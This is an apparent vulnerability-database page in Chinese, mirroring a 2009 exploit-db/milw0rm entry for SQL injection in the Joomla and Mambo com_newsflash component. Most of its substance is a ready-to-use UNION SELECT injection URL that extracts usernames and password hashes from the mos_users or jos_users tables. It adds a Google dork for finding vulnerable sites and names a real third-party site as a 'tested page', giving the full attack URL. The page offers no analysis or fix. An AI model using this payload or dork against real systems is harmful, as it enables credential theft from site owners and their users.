Joomla! Component com_newsflash - 'id' SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1057267 漏洞类型
发布时间 2009-01-11 更新时间 2009-01-11
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/7718
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#Joomla newsflash Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous
#[!] Module_Name:  newsflash
#[!] Script_Name: mambo and joomla
#[!] Google_Dork: inurl:"com_newsflash"
########################################
sqlcode:index.php?option=com_newsflash&id=8+and+1=1+union+select+1,username,password,4+from+mos_users&catid=0
 
mambo target: www.webpage.com/index.php?option=com_newsflash&id=8+and+1=1+union+select+1,username,password,4+from+mos_users&catid=0
 
joomla target: www.webpage.com/index.php?option=com_newsflash&id=8+and+1=1+union+select+1,username,password,4+from+jos_users&catid=0
 
 
tested page
http://www.flairsoft.net/main/index.php?option=com_newsflash&id=8+and+1=1+union+select+1,username,password,4+from+mos_users&catid=0

# milw0rm.com [2009-01-11]